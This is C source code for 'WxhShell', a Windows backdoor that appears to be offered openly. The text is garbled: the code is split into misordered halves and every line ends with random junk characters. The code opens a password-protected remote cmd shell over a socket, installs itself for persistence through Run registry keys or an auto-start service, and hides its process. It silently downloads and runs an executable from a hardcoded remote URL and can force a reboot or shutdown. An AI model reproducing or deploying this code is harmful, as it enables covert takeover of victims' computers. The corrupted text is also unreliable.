    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4F)z-<-b  
    if(Boot(SHUTDOWN)) .!l#z|/x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); az?B'|VX  
    else { QVb @/  
    closesocket(wsh); 6EGh8H f  
    ExitThread(0); zw7=:<z=  
    } J0C,K U(  
    break; 8`U5/!6fu  
    } `GqS.O}C  
  // 获取shell t?QR27cs$  
  case 's': { ,Hch->?Og  
    CmdShell(wsh); u6awcn  
    closesocket(wsh); |Y0BnyGK  
    ExitThread(0); kbM4v G  
    break; {%N*AxkvId  
  } 7t0\}e  
  // 退出 R1{ "  
  case 'x': { sn}U4=u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -KCm#!  
    CloseIt(wsh); `~(KbH=]  
    break; ;rV0  
    }  [^8*9?i4  
  // 离开 tceQn ^|<  
  case 'q': { 5m=3{lBi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *&% kkbA  
    closesocket(wsh); 8ooj)  
    WSACleanup(); qyP@[8eH  
    exit(1); TStu)6%`  
    break; TsfOod   
        } ]uWx<aD B  
  } 6wqq"6w  
  } b U-Cd  
\3O#H  
  // 提示信息 M})2y+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <&t^&6k  
} }ytc oIuLf  
  } m!$"-nh9  
]9l=geZd%;  
  return; HulN84  
} Hhx<k{B@7  
,fT5I6l  
// shell模块句柄 S^c5  
int CmdShell(SOCKET sock) iRPt0?$  
{ Q|"{<2"]U0  
STARTUPINFO si; cPPE8}PVH  
ZeroMemory(&si,sizeof(si)); 1Ty{k^%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N|h`}*:x=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o/CSIvz1  
PROCESS_INFORMATION ProcessInfo; ;Tvy)*{  
char cmdline[]="cmd"; oi::/W|A+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p6A"_b^  
  return 0; ZgcA[P  
} y4/>3tz;  
5Q?7 xTQ  
// 自身启动模式 )^|zuYzN  
int StartFromService(void) +s V$s]U  
{ R1! {,*Gy  
typedef struct V=H87 ^b  
{ CGbW] D$@  
  DWORD ExitStatus; vAy`8Q  
  DWORD PebBaseAddress; :cnH@:  
  DWORD AffinityMask; "o*F$7D!  
  DWORD BasePriority; >wNE!Oa*B  
  ULONG UniqueProcessId; L @_IGH  
  ULONG InheritedFromUniqueProcessId; $f7#p4;}(  
}   PROCESS_BASIC_INFORMATION; w5b D  
TlYeYN5V  
PROCNTQSIP NtQueryInformationProcess; Y@c! \0e$  
#W @6@Mv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; erdWGUfQOe  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r\F`xtR(  
x&8HBF'  
  HANDLE             hProcess; THi*'D/  
  PROCESS_BASIC_INFORMATION pbi; smoz5~  
N>z_uPy{A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zRx-xWo  
  if(NULL == hInst ) return 0; `$JPF  Z  
((SN We  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1Yo9Wf;vP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &y;('w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ' {5|[  
_SJ#k|vcq  
  if (!NtQueryInformationProcess) return 0; u `1cXL['  
xx)egy_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D^E1  
  if(!hProcess) return 0; /(bPc12  
pUZbZ U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GO.mT/rB  
]uI#4t~  
  CloseHandle(hProcess); W~$YKBW  
V)mRG`L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (%rO'X  
if(hProcess==NULL) return 0; qSlC@@.>  
]S[M]-I  
HMODULE hMod; 6#MIt:#  
char procName[255]; !_QE|tVeR  
unsigned long cbNeeded; .RxH-]xk  
n-be8p)-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *r6+Vz  
puV(eG  
  CloseHandle(hProcess); ytf.$P  
uLD%M av  
if(strstr(procName,"services")) return 1; // 以服务启动 C_rlbl;T  
T$U,rOB"  
  return 0; // 注册表启动 5}x^0 LY  
} wN-3@  
_n,Ye&m  
// 主模块 gI~R u8  
int StartWxhshell(LPSTR lpCmdLine) (|(#~o]40t  
{ _Jn-#du  
  SOCKET wsl; _Y4%Fv>@  
BOOL val=TRUE; t4R=$ km  
  int port=0; aze}ko NE  
  struct sockaddr_in door; Ms ;:+JI  
bF;g.-.2  
  if(wscfg.ws_autoins) Install(); +!\$SOaR{  
R3`!Xj#&M  
port=atoi(lpCmdLine); ne4j_!V{Mf  
d/vF^v*o0X  
if(port<=0) port=wscfg.ws_port; *.#d'~+  
rK;F]ei  
  WSADATA data; -/*-e /+b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ] mYT!(}  
9^h0D}#@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9YS&RBJu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &x =}m  
  door.sin_family = AF_INET; MDGD*Qn~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z& e_yl  
  door.sin_port = htons(port); sPuNwVX>}I  
8<#X]I_eP+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8@^=k.5IK  
closesocket(wsl); )R.y>Ucb0  
return 1; u=I\0H  
} N2[EdOJT_  
2fM*6CaS  
  if(listen(wsl,2) == INVALID_SOCKET) { GLrHb3@"N  
closesocket(wsl); ]|ew!N$ar=  
return 1; . Xn w@\k'  
} 8x#SpDI  
  Wxhshell(wsl); 6,"86  
  WSACleanup(); 3e+ Ih2  
H,bYzWsrPo  
return 0; } QVREj  
G9J+D?'hH  
} |B yw]\3v  
RwJ#G7S#  
// 以NT服务方式启动 dr#g[}l'H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?s/]k#H  
{ ~UA:_7#\M  
DWORD   status = 0; ;WxE0Q:!~  
  DWORD   specificError = 0xfffffff; x8 YuX*/I  
'o;>6u<u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {XAm3's  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oh c/{D2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4n_f7'GZg  
  serviceStatus.dwWin32ExitCode     = 0; mcvd/  
  serviceStatus.dwServiceSpecificExitCode = 0; 7~n<%q/6  
  serviceStatus.dwCheckPoint       = 0; EUZ#o\6  
  serviceStatus.dwWaitHint       = 0; {WfZE&B  
q ^NI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SC/|o  
  if (hServiceStatusHandle==0) return; @(Q 'J`  
;K]6/Wt  
status = GetLastError(); rvrv[^a(  
  if (status!=NO_ERROR) !?!~8J~  
{ w64/$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b3]QH h/  
    serviceStatus.dwCheckPoint       = 0; 8L]em&871  
    serviceStatus.dwWaitHint       = 0; `R]B<gp  
    serviceStatus.dwWin32ExitCode     = status; QS.t_5<U  
    serviceStatus.dwServiceSpecificExitCode = specificError; "l0z?u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X&R ,-^  
    return; s3?pv  
  } =g)|g+[H  
K'z|a{ru.{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #Duz|F+%  
  serviceStatus.dwCheckPoint       = 0; Plpt7Pa_  
  serviceStatus.dwWaitHint       = 0; ig|o l*~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _ T ;+*  
} !@j5yYf  
w$%d"Jm#X  
// 处理NT服务事件,比如:启动、停止 g*]Gc%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }Jfi"L  
{ t:|knZq  
switch(fdwControl) P(B:tg  
{ >~C*m `#  
case SERVICE_CONTROL_STOP: )r X["=  
  serviceStatus.dwWin32ExitCode = 0; $]O;D~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Fv_rDTo  
  serviceStatus.dwCheckPoint   = 0; *Xm$w  
  serviceStatus.dwWaitHint     = 0;  {oQ.y  
  { ?VVtEmIN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7S+_eL^  
  } h:%L% Y9z  
  return; Reci:T(_  
case SERVICE_CONTROL_PAUSE: a?&{eMEe}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }s i{  
  break; hes$LH  
case SERVICE_CONTROL_CONTINUE: ~m4{GzB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^=kUNyY  
  break; HjG!pO{  
case SERVICE_CONTROL_INTERROGATE: UOh % "h  
  break; m^hi}Am1  
}; aLzRbRv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8&T6  
} L<8:1/d\  
#{97<sU\  
// 标准应用程序主函数 yn&+ >{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z :51Q  
{ 5~ho1Ud  
p) #7K  
// 获取操作系统版本 )q#1C]7m*  
OsIsNt=GetOsVer(); dk}T&qZ~p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7Uy49cs,  
/*,hR>UG  
  // 从命令行安装 `rt?n|*QF  
  if(strpbrk(lpCmdLine,"iI")) Install(); Hqsj5j2i  
9em?2'ysa  
  // 下载执行文件 y"5>O|`  
if(wscfg.ws_downexe) { c*iZ6j"iI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w,uyN  
  WinExec(wscfg.ws_filenam,SW_HIDE); @0js=3!2  
} 19V  
H\W/;Nn  
if(!OsIsNt) { xz9x t  
// 如果时win9x,隐藏进程并且设置为注册表启动 yMz%s=rh  
HideProc();  ! n@*6  
StartWxhshell(lpCmdLine); 2|Of$oMc  
} 3eOwy~  
else UvwO/A\Gv  
  if(StartFromService()) Hrz #So\#  
  // 以服务方式启动 9/[1a_ r  
  StartServiceCtrlDispatcher(DispatchTable); A^\A^$|O6  
else OB-gH3:  
  // 普通方式启动 *>b*I4dz  
  StartWxhshell(lpCmdLine); j2\B(PA  
3 *0/<1f1!  
return 0; c& &^D o  
} sw:o3cC]  
3RSiu}  
PWU8 9YXp  
){'Ef_/R  
=========================================== @D:$~4ks  
o u%Xnk~  
70sb{)  
%5) 1^  
;S,k U{F  
{& Pk$Q!  
" #ZFedK0vv  
55aJ =T  
#include <stdio.h> ZjCT * qx  
#include <string.h> iA=QK u!  
#include <windows.h> I.V?O}   
#include <winsock2.h> k5s8s@  
#include <winsvc.h> ?<_yW#x6  
#include <urlmon.h> K chp%  
?ykQ]r6a<  
#pragma comment (lib, "Ws2_32.lib") wOfx7D  
#pragma comment (lib, "urlmon.lib") 2>bTcud>  
oRJ!J-Z]  
#define MAX_USER   100 // 最大客户端连接数 kX0hRX  
#define BUF_SOCK   200 // sock buffer ED0Vlw+1  
#define KEY_BUFF   255 // 输入 buffer f=$w,^)M  
v$H=~m  
#define REBOOT     0   // 重启 >%x N?%  
#define SHUTDOWN   1   // 关机 2.xA' \M  
nu'r `  
#define DEF_PORT   5000 // 监听端口 1=R6||8ws  
e|6kgj3/  
#define REG_LEN     16   // 注册表键长度 G6l:El&  
#define SVC_LEN     80   // NT服务名长度 *<.{sx^Gk  
C2$_Ad=s  
// 从dll定义API ihv=y\Jt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ly!vbpE_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BYh F?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ao+lLCr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !&8nwOG  
Q~p)@[q  
// wxhshell配置信息 7FQ&LF46  
struct WSCFG { G[;GP0\N  
  int ws_port;         // 监听端口 x%J4A+kU  
  char ws_passstr[REG_LEN]; // 口令 U04TVQn`  
  int ws_autoins;       // 安装标记, 1=yes 0=no  j<BW/  
  char ws_regname[REG_LEN]; // 注册表键名 p,(gv])ie  
  char ws_svcname[REG_LEN]; // 服务名 Nft~UggK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4Z'/dI`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !c 3c%=W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !xqy6%p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NVt612/'7y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9FGe (t <  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *wvd[q h  
!]^,!7x,8j  
}; XBvJc'(s  
8Uv2p{ <#  
// default Wxhshell configuration eUY/H1  
struct WSCFG wscfg={DEF_PORT, { :^;byd  
    "xuhuanlingzhe", pZVT:qFF  
    1, ][gr(-68  
    "Wxhshell", v--Qbu  
    "Wxhshell", WNO|ziy  
            "WxhShell Service", 2r zOh},RS  
    "Wrsky Windows CmdShell Service", "UNWbsn6Qr  
    "Please Input Your Password: ", 9A7LDHst7  
  1, SC Qr/Q  
  "http://www.wrsky.com/wxhshell.exe", [osIQ!u;:  
  "Wxhshell.exe" eNQQ`ll@m  
    }; ?QJS6i'k  
u0o}rA  
// 消息定义模块 aa-{,X"MF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `rWT^E@p5m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5.IX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b{~64/YJ  
char *msg_ws_ext="\n\rExit."; Ro2Ab^rQ|  
char *msg_ws_end="\n\rQuit."; nq/SGo[c  
char *msg_ws_boot="\n\rReboot..."; EuJ_UxkG  
char *msg_ws_poff="\n\rShutdown..."; 8LPvb#9=  
char *msg_ws_down="\n\rSave to "; uQ(C,f[6p  
dcn/|"jr  
char *msg_ws_err="\n\rErr!"; Ifx EM  
char *msg_ws_ok="\n\rOK!"; t.s;dlx[@  
*v}3So  
char ExeFile[MAX_PATH]; 8@)4)+e  
int nUser = 0; #;+ABV  
HANDLE handles[MAX_USER]; '5usPD  
int OsIsNt; Qm(KvL5  
G`D~OI  
SERVICE_STATUS       serviceStatus; [ Q@rW5,-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ji&%'h  
~;QzV?%  
// 函数声明 (m~gG|n4  
int Install(void); }hm "49,O  
int Uninstall(void); X2 PyFe  
int DownloadFile(char *sURL, SOCKET wsh); +";<Kd-  
int Boot(int flag); pXE'5IIN  
void HideProc(void); c}-WK*v  
int GetOsVer(void); &tjv.t  
int Wxhshell(SOCKET wsl); y@'~fI!E4  
void TalkWithClient(void *cs); ,,Ia4c  
int CmdShell(SOCKET sock); bT8 ?(Iu  
int StartFromService(void); o9JZ -biH  
int StartWxhshell(LPSTR lpCmdLine); iD(+\:E  
#;lB5) oe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !RPPwvNk4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U4.- {.  
Kqn{q4L  
// 数据结构和表定义 -qDM(zR  
SERVICE_TABLE_ENTRY DispatchTable[] = RAs5<US:  
{ c_N'S_)~7Q  
{wscfg.ws_svcname, NTServiceMain}, {[[j.)  
{NULL, NULL} !uxma~ZH-  
}; A.|98*U%  
z]V%&f  
// 自我安装 r;"uk+{i  
int Install(void) 0kiV-yc   
{ <uf,@N5m  
  char svExeFile[MAX_PATH]; `at>X&Ce,  
  HKEY key; ,UA-Pq3 }  
  strcpy(svExeFile,ExeFile); u 6"v}gN  
kKHGcm^r  
// 如果是win9x系统,修改注册表设为自启动 'VQ mK#  
if(!OsIsNt) { $j"TPkW{M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qJZ:\u8oO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bkSI1m3  
  RegCloseKey(key); LvcGh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >>I~v)a>w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \)/dFo\l  
  RegCloseKey(key); BK[ YX)  
  return 0; M!#[(:  
    } lDf:~  
  } IV]2#;OO?  
} fEYo<@5c]  
else { |K11Woii  
Y)](jU%o  
// 如果是NT以上系统,安装为系统服务 =K`]$Og}8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FJC}xEMcN  
if (schSCManager!=0) ?,AWXiif  
{ &`}8Jz=S  
  SC_HANDLE schService = CreateService T/YvCbo  
  ( IPxK$nI^  
  schSCManager, `U6bI`l  
  wscfg.ws_svcname, H vezi>M  
  wscfg.ws_svcdisp, '"4S3Fysm  
  SERVICE_ALL_ACCESS, '>aj5tZ>R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vq_v;$9}  
  SERVICE_AUTO_START,  cq,8^o&  
  SERVICE_ERROR_NORMAL, 7eP3pg#  
  svExeFile, 7zWr5U.  
  NULL,  #-^y9B  
  NULL, l6y*SW5+  
  NULL, Uoqt  
  NULL, =e!o  
  NULL  o8h1  
  ); q s 0'}>  
  if (schService!=0) w`a(285s)i  
  { ZL^ svGy  
  CloseServiceHandle(schService); "<^]d~a_  
  CloseServiceHandle(schSCManager); JQde I+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); okSCM#&:[2  
  strcat(svExeFile,wscfg.ws_svcname); jv5Os-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jC3)^E@:"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8r-'m%l  
  RegCloseKey(key); <}z, !w8  
  return 0; nLjc.Z\Bl  
    } .`5BgX7W  
  } 4.o[:5'  
  CloseServiceHandle(schSCManager); z&W5@6")`  
} o0`|r+E\  
} k,M %"FLQ  
=3R5m>6!/  
return 1; f!D~aJ  
} 'du{ky  
|`c=`xK7'  
// 自我卸载 n>##,o|Vr#  
int Uninstall(void) NUjo5.7  
{ \Bg?QhA_D  
  HKEY key; B 4my  
)gb gsQZ  
if(!OsIsNt) { N8K @ch3=P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P{{U  
  RegDeleteValue(key,wscfg.ws_regname); *E1v  
  RegCloseKey(key); Q ,6[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O9Fg_qfuT_  
  RegDeleteValue(key,wscfg.ws_regname); -'wFaW0%I  
  RegCloseKey(key); ?=^ M(TA;  
  return 0; H6! <y-  
  } iTpU4Qsj  
} <-%OXEG  
} 7$HN5T\!  
else { P3u,)P&  
TLC&@o :  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qt&zo5  
if (schSCManager!=0) c=Y8R/G<  
{ " +n\0j;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #'2CST  
  if (schService!=0) o*}--d? S  
  { ZA! yw7~  
  if(DeleteService(schService)!=0) { SeX:A)*ez%  
  CloseServiceHandle(schService); ?RI&7699+  
  CloseServiceHandle(schSCManager); ^V5g[XL2  
  return 0; @b,&b6V  
  } wNt-mgir-Q  
  CloseServiceHandle(schService); CTOrBl$70  
  } &8^ch,+pD  
  CloseServiceHandle(schSCManager); KfkE'_ F  
} m=.}}DcSs  
} 6*Y>Y&sea  
$hGiI  
return 1; FY(C<fDRo{  
} V {H/>>k7  
[WxRwE  
// 从指定url下载文件 #'?gMVSk  
int DownloadFile(char *sURL, SOCKET wsh) ]Y%U5\$  
{ ujMics(  
  HRESULT hr; xw5LPz;B  
char seps[]= "/"; M!nwcxB!  
char *token; leMcY6  
char *file; -g`3;1EV^  
char myURL[MAX_PATH]; MV.$Ay  
char myFILE[MAX_PATH]; }?vVJm'  
;{e=Iz}/  
strcpy(myURL,sURL); <>9zXbI  
  token=strtok(myURL,seps); erQ0fW  
  while(token!=NULL) $hM>%u  
  { w\PCBY=  
    file=token; O"Ua|8  
  token=strtok(NULL,seps); &GetRDr  
  } KE k]<b=  
E 02l=M  
GetCurrentDirectory(MAX_PATH,myFILE); lAcXi$pF  
strcat(myFILE, "\\"); R:}u(N  
strcat(myFILE, file); f}_d`?K  
  send(wsh,myFILE,strlen(myFILE),0); =O?#>3A}  
send(wsh,"...",3,0); v!b 8_0~u6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :(o6^%x  
  if(hr==S_OK) oy?>e1Sy*  
return 0; 5PXo1"n8T  
else Q[U_ 0O,A9  
return 1; |loo ^!I  
Nr(3!-  
} _/iw=-T  
/Wqx@#  
// 系统电源模块 jj&4Sv#>  
int Boot(int flag) FID4@--  
{ |>2IgTh1a  
  HANDLE hToken; zLa3Q\T  
  TOKEN_PRIVILEGES tkp; [Q+qu>&HB7  
^twJNm{99  
  if(OsIsNt) { ".=LzjE<gv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5W29oz}-S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S5$sB{\R  
    tkp.PrivilegeCount = 1; D#?jddr-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ju= +!nGUa  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >.]' N:5  
if(flag==REBOOT) { v1E=P7}\{s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) djxM/"xo  
  return 0; |0jmOcZF  
} ,& ^vc_}  
else { xO<$xx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (3;dtp>Xx  
  return 0; &K*x[  
} cx(W{O"Jb  
  } nfV32D|3  
  else { mGK-&|gq  
if(flag==REBOOT) { 5v uB87`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m<cvx3e  
  return 0; I )LO@  
} +[sZE X  
else { 3nJd0E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U =G^w L  
  return 0; O!c b-  
} b35Z1sfD j  
} SB3= 5"q  
?<#2raH-  
return 1; Y^(Sc4 W  
} H%*< t}  
{MaFv  
// win9x进程隐藏模块 l6C^,xU~IX  
void HideProc(void) $j\UD8Hj'-  
{ ~GWn>  
(Wm4JmX%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <%2A, Vz"  
  if ( hKernel != NULL ) {D(_"  
  { _E{hB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P=j89-e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :gNTQZR  
    FreeLibrary(hKernel); {Va "o~io  
  } $YyN-C  
3/w) mY-o  
return; > WsRCBA  
} 8?S)>-mwv  
DjX*2O  
// 获取操作系统版本 _H41qKS{Ul  
int GetOsVer(void) <$\En[u0  
{ s] X]jfA.  
  OSVERSIONINFO winfo; 0uf'6<fR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *vss  
  GetVersionEx(&winfo); mu(EmAoenQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Nm 0kMq|h  
  return 1; zgdOugmmt_  
  else {Y%X  
  return 0; Z{|U!tn  
} v=~=Q*\l  
`Xbk2KD p  
// 客户端句柄模块 $:YJ<HvG<  
int Wxhshell(SOCKET wsl) y'9 bs  
{ & m'ttUG?  
  SOCKET wsh; RtR5ij1  
  struct sockaddr_in client; 3xJ_%AD\'  
  DWORD myID; ?Q< o-o;B  
S&C  
  while(nUser<MAX_USER) l&z)Q/>?pZ  
{ 5Y4 i|R  
  int nSize=sizeof(client); r# }`{C;+5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9\|n2$H:  
  if(wsh==INVALID_SOCKET) return 1; -F+dRzxH  
2{!^"iW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4gTD HQP  
if(handles[nUser]==0) }- Jw"|^W  
  closesocket(wsh); tsFwFB*  
else mv1_vF:  
  nUser++; QDRgVP  
  } `dYM+ jpa  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -1Luyuy/`  
amL8yb  
  return 0; (L)tC*Qjc  
} >?$+hZz<  
0nF>E@j^[  
// 关闭 socket 8%UI<I,  
void CloseIt(SOCKET wsh) 2[\I{<2/9  
{ 7DU"QeLeb  
closesocket(wsh); 3zO'=gwJ  
nUser--; rf%E+bh4  
ExitThread(0); ,Z7tpFC  
} ?s<'3I{F`  
dnby&-+T  
// 客户端请求句柄 g2=5IU<  
void TalkWithClient(void *cs) LDJ=<c!  
{ bBQ1 ~ R  
y: 0j$%^  
  SOCKET wsh=(SOCKET)cs; T5eXcI0t  
  char pwd[SVC_LEN]; Z7eD+4gD  
  char cmd[KEY_BUFF]; kpM5/=f/@  
char chr[1]; x+}6qfc$9k  
int i,j; :eK;:pN  
QES[/i +  
  while (nUser < MAX_USER) { C} #:<Jx  
u/5I;7cb  
if(wscfg.ws_passstr) { p",HF%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t} E 1NXW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mW_<c,3D.  
  //ZeroMemory(pwd,KEY_BUFF); 3 ;F=EMz{  
      i=0; sLV bFN`  
  while(i<SVC_LEN) { ^AWM/aY  
GdqT4a\S  
  // 设置超时 PNSZ j#  
  fd_set FdRead; -ISI!EU$  
  struct timeval TimeOut; bF88F_  
  FD_ZERO(&FdRead); mCtuR*z_  
  FD_SET(wsh,&FdRead); xGQ958@  
  TimeOut.tv_sec=8; MorR&K  
  TimeOut.tv_usec=0; D?u*^?a2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .)W'{2J-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lE+v@Kb:  
6#+&_ #9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Tc6H%itV  
  pwd=chr[0]; PrIS L[@  
  if(chr[0]==0xd || chr[0]==0xa) { !b"#`O%`  
  pwd=0; 6g*B=d(j  
  break; cH()Ze-B  
  } yfS`g-j{~  
  i++; jXO*_R  
    } &~+lXNXF  
1.]Py"@:  
  // 如果是非法用户,关闭 socket [@OXvdTV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (hefpqpi  
} #\G{2\R  
taXS>*|B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q:\I %o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]3_oT^$:  
Y`QJcC(3  
while(1) { A L#"j62  
tVUoUl  
  ZeroMemory(cmd,KEY_BUFF); .y{qsL^P  
fbKL31PI  
      // 自动支持客户端 telnet标准   FO{K=9O  
  j=0; f1;Pzr  
  while(j<KEY_BUFF) { ,z1X{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @|xcrEnP}B  
  cmd[j]=chr[0]; O2E6F^.pYw  
  if(chr[0]==0xa || chr[0]==0xd) { 8CxC`*L(  
  cmd[j]=0; C7`FM@z  
  break; 1(`>9t02/?  
  } U:eahK  
  j++; dA[Z\  
    } !GcH )  
M0<gea\ =  
  // 下载文件 @ oE [!  
  if(strstr(cmd,"http://")) { Akf?BB3bC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O $uXQ.r  
  if(DownloadFile(cmd,wsh)) B:=*lU.n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q<rB(j-(  
  else Ti }Ljp^O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bWK}oYB*  
  } 6R1){,8  
  else { 2H8,&lY.p  
xX`P-h>V`c  
    switch(cmd[0]) { (eI'%1kS<  
